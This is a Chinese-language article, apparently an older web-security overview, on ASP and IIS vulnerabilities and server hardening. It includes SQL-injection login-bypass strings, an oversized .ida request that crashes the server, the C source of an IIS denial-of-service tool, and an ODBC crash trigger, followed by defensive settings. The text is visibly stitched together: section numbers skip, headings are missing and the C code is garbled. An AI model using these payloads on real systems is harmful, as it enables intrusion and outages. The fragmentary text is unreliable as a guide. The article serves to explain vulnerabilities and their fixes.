Microsoft Active Server Pages(ASP)是服务器端脚本编写环境,使用它可以创建和运行动态、交互的 Web 服务器应用程序。使用 ASP 可以组合 HTML 页 、脚本命令和 ActiveX 组件以创建交互的 Web 页和基于 Web 的功能强大的应用程序。 现在很多网站特别是电子商务方面的网站,在前台上大都用ASP来实现。以至于现在ASP在网站应用上很普遍。 ASP是开发网站应用的快速工具,但是有些网站管理员只看到ASP的快速开发能力,却忽视了ASP安全问题。ASP从一开始就一直受到众多漏洞,后门的困扰,包括%81的噩梦,密码验证问题,IIS漏洞等等都一直使ASP网站开发人员心惊胆跳。 本文试图从开放了ASP服务的操作系统漏洞和ASP程序本身漏洞,阐述ASP安全问题,并给出解决方法或者建议。
二 关键字
ASP,网络安全,IIS,SSL,加密。
三 ASP工作机理
Active Server Page技术为应用开发商提供了基于脚本的直观、快速、高效的应用开发手段,极大地提高了开发的效果。在讨论ASP的安全性问题之前,让我们来看看ASP是怎么工作的。ASP脚本是采用明文(plain text)方式来编写的。
Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000 Microsoft Personal Web Server on Windows 95/98
WINDOWS NT Option Pack所带的Microsoft IIS提供了强大的功能,但是IIS在网络安全方面却是比较危险的。因为很少有人会用Windows 95/98当服务器,因此本文我更多的从NT中的IIS安全问题来探讨。
很多网站把密码放到数据库中,在登陆验证中用以下sql,(以asp为例) sql="select * from user where username='"&username&"'and pass='"& pass &'" 此时,您只要根据sql构造一个特殊的用户名和密码,如:ben' or '1'='1 就可以进入本来你没有特权的页面。再来看看上面那个语句吧: sql="select * from user where username='"&username&"'and pass='"& pass&'" 此时,您只要根据sql构造一个特殊的用户名和密码,如:ben' or '1'='1 这样,程序将会变成这样: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&" or 是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立).那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值.。 另外我们也可以构造以下的用户名: username='aa' or username<>'aa' pass='aa' or pass<>'aa' 相应的在浏览器端的用户名框内写入:aa' or username<>'aa 口令框内写入:aa' or pass<>'aa,注意这两个字符串两头是没有'的。 这样就可以成功的骗过系统而进入。
Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时,它会有两种结果。一个可能的结果是服务器回复"URL String too long"的信息;或类似"Cannot find the specified path" 的信息。另一种可能就是服务器端服务停止,并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击) 当远端攻击者发出类似如下的请求时: http://someurl/...[25kb of '.']...ida 服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)
Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Windows 2000 Indexing Services: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
#include #include #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char **argv) { WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread[2000]; //This code is as is and sucks as it is. Won't exit correctly and a lot of other fun things. //That I didn't want to take the time to do. So just ctrl+c out of the code. //Load up cnghack.exe 3 times for charm. printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my beloved.\"\n"); if(argc<2){ printf("Usage: %s [server] [port]\n",argv[0]); exit(1); } buffer=malloc(17500); memset( buffer, 'A', strlen(buffer)); server=argv[1]; port=atoi(argv[2]); tequila = MAKEWORD( 1, 1 ); printf("Attempting to start winsock... "); if( (WSAStartup(tequila, &data)) !=0 ){ printf("failed to start winsock.\n"); exit(1); } else{ printf("started winsock.\n\n"); }
void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;{ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; }
cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer]
Where: [return] is just an \r\n [buffer] is a never ending stream of A's
攻击结果将导致NT系统的CPU占用率达到 100% 解决方案
运行Regedt32.exe 在: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一个值: Value Name: MaxClientRequestBuffer Data Type: REG_DWORD 设置为十进制 具体数值设置为你想设定的IIS允许接受的URL最大长度。
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏洞描述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。 如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0 ODBC Access驱动版本: 3.51.1029.00 OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb ODBC 数据库型号: MS Access ODBC 假设路径: d:\data\misc.mdb
<% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DSN=miscdb;User=sa" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend 'rsGlobal.close 'set rsGlobal = nothing 'connGlobal.close 'set connGlobal = nothing ' Note we do NOT close the connection %>
<% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=d:\data\misc.mdb" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing ' Note we DO close the connection %>
- 搜索引擎应该不索引有 asp 运行时刻错误的页 - 程序员应该在网页发布前对其进行彻底的调试 - 安全专家需要固定 asp 包含文件以便外部的用户不能看到它们 asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。
20、利用Activer server explorer可对文件进行读写访问
漏洞描述:
chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。 Activer server explorer要求填写相对路径或者绝对路径,但是假如:有一个攻击者把Activer server explorer上传到目标服务器上的某个目录,并且这个目录支持ASP的话,那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器,把Activer server explorer先传上你申请的免费主页空间,再通过各种方法得到目标服务器的路径,(比如可通过漏洞:"请求不存在的扩展名为idq或ida 文件,会暴露文件在服务器上的物理地址.").或者直接在相对路径上填".",一般是默认。这样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。 所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
漏洞解决方法
其实Activer server explorer就是利用了上面讲的漏洞 4 filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。 那么我们如何才能限制用户使用FileSystemObject对象呢?一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方法如下:
Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Microsoft Windows NT 4.0
Active Server Pages:包括新的转向方法(Server.Transfer与Server.Execute方法)、新的错误处理功能(Server.GetLastError方法)、无指令.asp的执行速度增快、可安装组件的效能调升、Scriptlet支持、使用cookie取得浏览器信息、自动增减执行绪(executing threads)、SRC服务器端包含功能、Script Encoder编码保护等。 更具体的功能介绍请参见其它资料。
2 关闭没有用的服务和协议
"尽量少开没用到的服务",这永远是网络安全的准则。如果开启了某个服务,你就要面对不少的漏洞困扰,更重要的是你还要时时提防未来的由这个服务所引起的漏洞。 比如,你不使用ftp,那就把FTP关了,不然你就要发费大量的精力和金钱去应付那些什么DOS,缓冲区溢出之类的漏洞。NETBIOS也是windows的一大安全隐患,我想目前服务器很少需要Netbios。再如你的IIS安装了index server 服务,那你至少要面对三个以上的有关这个服务的漏洞,因此如果你没用到INDEX SERVER服务,也大可删除他. 同样的道理,我们要安装最少的协议。千万不要安装点对点通道通讯协议。此外,还必须小心地配置TCP/IP协议。在TCP/IP的属性页中选择"IP地址"项目,然后选择"高级"。在弹出来的对话框中选择"安全机制",这样你可以禁止UDP,然后开启IP端口6和TCP端口80。当然开不开这些端口主要是看你的情况了。 IIS中的应用程序映射也是个很大的安全漏洞,请在IIS中设置好扩展名和可执行路径,删除没用的扩展名。
3 设置好你的NT
NT缺省安装时,系统账号Administrator和Guest被自动设置,很多攻击者就是利用这些账号来猜密码,从而进入你的系统。虽然没有足够的耐心,很难猜中这些密码,但是为了安全起见,建议把这些账号重新命名或者删除。 NT SERVER的系统策略编辑器非常有用。按"管理工具"->"系统策略编辑器"就可以进入,然后选择"文件"->"打开注册表",并选择"本地计算机"图标,就可以认真配置了。主要设置以下几项:
NTFS 权限是 Web 服务器安全性的基础,它定义了一个或一组用户访问文件和目录的不同级别。当拥有 Windows NT 有效帐号的用户试图访问一个有权限限制的文件时,计算机将检查文件的 访问控制表 (ACL)。该表定义了不同用户和用户组 所被赋予的权限。例如,Web 服务器上的 Web 应用程序的所有者需要有"更改"权限来查看、更改和删除应用程序的 .asp 文件。但是,访问该应用程序的公共用户应仅被授予"只读"权限,以便将其限制为只能查看而不能更改应用程序的 Web 页。
5 对目录设置不同的属性,如:Read、Excute、Script
您可以通过配置您的 Web 服务器的权限来限制所有用户查看、运行和操作您的ASP 页的方式。不同于 NTFS 权限提供的控制特定用户对应用程序文件和目录的访问方式, Web 服务器权限应用于所有用户,并且不区分用户帐号的类型。 对于要运行您的 ASP 应用程序的用户,在设置 Web 服务器权限时,必须遵循下列原则: 对包含 .asp 文件的虚拟目录允许"读"或"脚本"权限。 对 .asp 文件和其他包含脚本的文件(如 .htm 文件等)所在的虚目录允许"读"和"脚本"权限。 对包含 .asp 文件和其他需要"执行"权限才能运行的文件(如 .exe 和 .dll 文件等)的虚目录允许"读"和"执行"权限。
ASP 使用 SessionID cookie 跟踪应用程序访问或会话期间特定的 Web 浏览器的信息。这就是说,带有相应的 cookie 的 HTTP 请求被认为是来自同一 Web 浏览器。Web 服务器可以使用 SessionID cookies 配置带有用户特定会话信息的 ASP 应用程序。例如,如果您的应用程序是一个允许用户选择和购买 CD 唱盘的联机音乐商店,就可以用 SessionID 跟踪用户漫游整个应用程序时的选择。 SessionID 能否被黑客猜中? 为了防止计算机黑客猜中 SessionID cookie 并获得对合法用户的会话变量的访问,Web 服务器为每个 SessionID 指派一个随机生成号码。每当用户的 Web 浏览器返回一个 SessionID cookie 时,服务器取出 SessionID 和被赋予的数字,接着检查是否与存储在服务器上的生成号码一致。若两个号码一致,将允许用户访问会话变量。这一技术的有效性在于被赋予的数字的长度(64 位),此长度使计算机黑客猜中 SessionID 从而窃取用户的活动会话的可能性几乎为 0。 加密重要的 SessionID Cookie. 截获了用户 sessionID cookie 的计算机黑客可以使用此 cookie 假冒该用户。如果 ASP 应用程序包含私人信息,信用卡或银行帐户号码,拥有窃取的 cookie 的计算机黑客就可以在应用程序中开始一个活动会话并获取这些信息。您可以通过对您的 Web 服务器和用户的浏览器间的通讯链路加密来防止 SessionID cook ie 被截获。
10 使用身份验证机制保护被限制的 ASP 内容
可以要求每个试图访问被限制的 ASP 内容的用户必须要有有效的 Windows NT帐号的用户名和密码。每当用户试图访问被限制的内容时,Web 服务器将进行身份验证,即确认用户身份,以检查用户是否拥有有效的 Windows NT 帐号。 Web 服务器支持以下几种身份验证方式: 基本身份验证 提示用户输入用户名和密码。 Windows NT 请求/响应式身份验证,从用户的 Web 浏览器通过加密方式获取用户身份信息。 然而,Web 服务器仅当禁止匿名访问或 Windows NT 文件系统的权限限制匿名访问时才验证用户
11 保护源数据库
访问源数据库的 ASP 脚本需要 Web 服务器所运行的计算机的管理员权限。在从远程计算机上运行这些脚本时,须经已通过身份验证的连接,如使用 Windows NT 请求/响应验证方式进行连接。应该为管理级 .asp 文件创建一个服务器或目录并将其目录安全验证方式设置为 Windows NT 请求/响应式身份验证。目前,仅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 请求响应式身份验证。
12 使用 SSL 维护应用程序的安全
SSL (Secure Sockets Layer)协议是由Netscape首先发表的网络资料安全传输协定,其首要目的是在两个通信间提供秘密而可靠的连接。该协议由两层组成,底层是建立在可靠的传输协议(例如:TCP)上的是SSL的记录层,用来封装高层的协议。SSL握手协议准许服务器端与客户端在开始传输数据前,能够通过特定的加密算法相互鉴别。SSL的先进之处在于它是一个独立的应用协议,其它更高层协议能够建立在SSL协议上。 SSL3.0 协议作为 Web 服务器安全特性,提供了一种安全的虚拟透明方式来建立与用户的加密通讯连接。SSL 保证了 Web 内容的验证,并能可靠地确认访问被限制的 Web 站点的用户的身份。 通过 SSL,您可以要求试图访问被限制的 ASP 应用程序的用户与您的服务器建立一个加密连接;以防用户与应用程序间交换的重要信息被截取。 比如好多基于WEB的ASP论坛都会提供注册用户互相发送信息的服务,这种信息是明文传送的,如果在网吧就很容易给人监听到。如果加了一层SSL认证,就会防止发送信息被监听的可能。
13 客户资格认证
控制对您的 ASP 应用程序访问的一种十分安全的方法是要求用户使用 客户资格登录。客户资格是包含用户身份信息的数字身份证,它的作用与传统的诸如护照或驾驶执照等身份证明相同。用户通常从委托的第三方组织获得客户资格,第三方组织在发放资格证之前确认用户的身份信息。(通常,这类组织要求姓名、地址、电话号码及所在组织名称;此类信息的详细程度随给予的身份等级而异。) 每当用户试图登录到需要资格验证的应用程序时,用户的 Web 浏览器会自动向服务器发送用户资格。如果 Web 服务器的 Secure Sockets Layer (SSL) 资格映射特性配置正确,那么服务器就可以在许可用户对 ASP 应用程序访问之前对其身份进行确认。 作为 ASP 应用程序开发人员,您可以编写脚本来检查资格是否存在并读取资格字段。例如,您可以从资格证明中访问用户名字段和公司名字段。Active Server Pages 在 Request 对象的 ClientCertificate 集合中保存资格信息。 必须将 Web 服务器配置为接受或需要客户资格,然后才能通过 ASP 处理客户资格;否则,ClientCertificate 集合将为空。